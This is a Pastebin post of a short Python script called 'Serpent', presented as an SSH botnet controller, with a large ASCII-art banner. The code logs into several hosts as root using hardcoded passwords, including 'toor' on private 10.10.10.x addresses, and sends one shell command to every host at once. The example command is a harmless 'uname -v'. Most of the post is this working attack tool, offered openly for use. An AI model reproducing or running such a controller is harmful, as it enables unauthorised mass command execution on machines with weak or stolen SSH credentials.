Kaos_Method

Python SSH Botnet

Jul 12th, 2017
863
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 7.38 KB | None | 0 0
  1. !/usr/bin/env python3
  2.  
  3.  
  4. """ Serpent
  5.  
  6.    Usage:
  7.           Serpent.py
  8.           Serpent.py     --version
  9.  
  10.  
  11.    Options:
  12.          -h --help       Show this screen.
  13.         --version        Serpent.py VER.-1.0
  14.  
  15. """
  16.  
  17. print ('_________________________________________________________________________________________')
  18. print ('[.......................................................................................]')
  19. print ('[.......................................................................................]')
  20. print ('[.......................................................................................]')
  21. print ('[.......................................................................................]')
  22. print ('[.......................................................................................]')
  23. print ('[..............................::~:~:::..........,:::::~,...............................]')
  24. print ('[...........................:~:~~:~~:=:,::~=,~:,=,~,:~::~==,............................]')
  25. print ('[..........................==,:.,~+II==::,::,~:,+~=,=?,.::,,::,,........................]')
  26. print ('[.........................,,:,~~?,=+::=~,~:=,:+~:=?~::+,+,~~,,,::,,,....................]')
  27. print ('[........................~~~.:~::,==I~:::,::,,.~~~,,:~:=+,,,~.,:,,:,,,:.................]')
  28. print ('[......................:,,,:,.=+=~,....:,::~,,:,~=:.::~==,,.,,,,,,:::,:,,...............]')
  29. print ('[.....................:,,.:,~.,::,=:,,:,:==+,?=,::,:,:,.,,,.:,,,:,::::,,,,,.............]')
  30. print ('[....................:,,:,...,,,:.,:~.+~:,,=+..,,~~,,,.:,~:.:,,,,,:,,~,,,,,,............]')
  31. print ('[...................,,.:.::,,,~,.,,~,+7=~~~:,~~=,,?+,=.,:.:::,,,,::,,,:,,,,.,...........]')
  32. print ('[..................,.....,.,.:.~,,.::II:.......,.:II?:::.:,,::,,,:,.,,,:,,,..,..........]')
  33. print ('[..................:,....,,,~,~,...~:II....,..,..:I??,,,~,,,.,,,,.,,,.,,,...............]')
  34. print ('[.....................,,,:,:~...:.,::7~,,,.,..,.,:7++.:.,.:..,,,,,.......,..............]')
  35. print ('[....................,,,,.,+~::,:,,.:7~.........,:7~.,,,===:,,.,.,.,,....,..............]')
  36. print ('[..................,,:.,,,::=~~,:,:.~I.,........,,7.,,:=:+,,.,,,,...,,...,..............]')
  37. print ('[..................,,,,,,~::,+::~::.=I,,,.......,:I.,,~=??.,........,,...,..............]')
  38. print ('[...................,,.::~:,,:+,~::,.7,,,,,,.,,,,~.,,:?=..,,.....,,.....................]')
  39. print ('[.....................,::,,,,,,,~~,..I:,,,,,,,,,,~.:,~=...,....,...,.,..,...............]')
  40. print ('[......................,,::::,.+.~:,,+:,,,.,,,,,,=,,,+=.,...,...,..,,...,...............]')
  41. print ('[........................,.,,..+:~~,:=:::,.,,,,,,+:::+?,,.,,,.,,,,,,,.,,................]')
  42. print ('[..........................,....=,:,:I:::,.,,::,:?:7:+,,,:::,::,,:,,,,,.................]')
  43. print ('[...............................,.~,:,:::,,,,::,:=~7~?.,.,,,,::,,,,,,,..................]')
  44. print ('[................................~::=~:::,,,::::+I~I==...,,,,,..........................]')
  45. print ('[................................:,~:::::,,,:~:=??+I:...................................]')
  46. print ('[.................................,+:+~:::,,~~+II??~:...................................]')
  47. print ('[.................................,??=+~~:?I=I=7I+I7....................................]')
  48. print ('[..................................~7~+II:I+?I?II+:,....................................]')
  49. print ('[...................................:7+?I,=::?I?I+~.....................................]')
  50. print ('[....................................?I+I:~,?7I?7?......................................]')
  51. print ('[.....................................~I=~~,~=II+,......................................]')
  52. print ('[......................................=+~II:+..........................................]')
  53. print ('[......................................,.~.,::..........................................]')
  54. print ('[.........................................,.............................................]')
  55. print ('[....................................:....:.............................................]')
  56. print ('[....................................,....,.............................................]')
  57. print ('[.......................................................................................]')
  58. print ('[.......................................................................................]')
  59. print ('[.......................................................................................]')
  60. print ('[.......................................................................................]')
  61. print ('[_______________________________________________________________________________________]')
  62.  
  63. print ('________________________________________________________________________________________ ')              
  64. print ('[  _______    _______    _______    _______    _______    _______    _         _________]')
  65. print ('[ (  ____ \ (  ____ \ (  ____ )  (  ____ \ (  ____ )  (  ____ \ ( (    /|  \__   __/]')
  66. print ('[ | (    \/  | (    \/  | (    )|  | (    \/  | (    )|  | (    \/  |  \ ( |     ) (   ]')
  67. print ('[ | (_____   | (__      | (____)|  | (__      | (____)|  | (__      |   \ | |     | |   ]')
  68. print ('[ (_____  )  |  __)     |     __)  |  __)     |  _____)  |  __)     | (\ \) |     | |   ]')
  69. print ('[       ) |  | (        | (\ (     | (        | (        | (        | | \  |     | |   ]')
  70. print ('[ /\____) |  | (____/\ | ) \ \__  | (____/\ | )        | (____/\ | )  \ |     | |   ]')
  71. print ('[ \_______)  (_______/  |/   \__/  (_______/  |/         (_______/  |/    )_)     )_(   ]')
  72. print ('[_______________________________________________________________________________________]')
  73.  
  74. from pexpect import pxssh
  75. from docopt import docopt
  76. from colorama import Fore, init
  77.  
  78.  
  79. class Client: #Creating "Client" as a class.
  80.  
  81.     def __init__(self, host, user, password): #Defiing the initializer, while taking four arguements.
  82.         self.host = host
  83.         self.user = user
  84.         self.password = password
  85.         self.session = self.connect()
  86.  
  87.     def connect(self):
  88.         try:
  89.             x = pxssh.pxssh() #The letter "x" is assigned as a class variable for the pxssh module.
  90.             x.login(self.host, self.user, self.password) #Calling the method "x.login".
  91.             return x
  92.  
  93.         except Exception as e:
  94.             print (Fore.RED + '[-] Error Connecting' + Fore.RESET)
  95.             print (e)
  96.  
  97.     def send_command(self, cmd): #Defining the "send_command".
  98.         self.session.sendline(cmd)
  99.         self.session.prompt()
  100.         return self.session.before
  101.  
  102. def botnet_command(command, botnet): #Defineing the "botnet_command".
  103.     for client in botnet: #The commands are executed for "client in botnet".
  104.         output = client.send_command(command)
  105.         print (Fore.GREEN + '[*] Output from ' + client.host + Fore.RESET)
  106.         print ('[+] ' + output + '\n')
  107.  
  108. def add_client(host, user, password, botnet): # Defining function to allow "client" to be added.
  109.     client = Client(host, user, password)
  110.     botnet.append(client)
  111.  
  112. def main():
  113.  
  114.     botnet = []
  115.     add_client('127.0.0.1', 'root', 'Shady1000!', botnet)
  116.     add_client('10.10.10.120', 'root', 'toor', botnet)
  117.     add_client('10.10.10.130', 'root', 'toor', botnet)
  118.  
  119.     botnet_command('uname -v', botnet)
  120.  
  121.  
  122. if __name__ == '__main__':
  123.  
  124.     init()
  125.     docopt(__doc__, version='Serpent.py VER.-1.0')
  126.     main()
Add Comment
Please, Sign In to add comment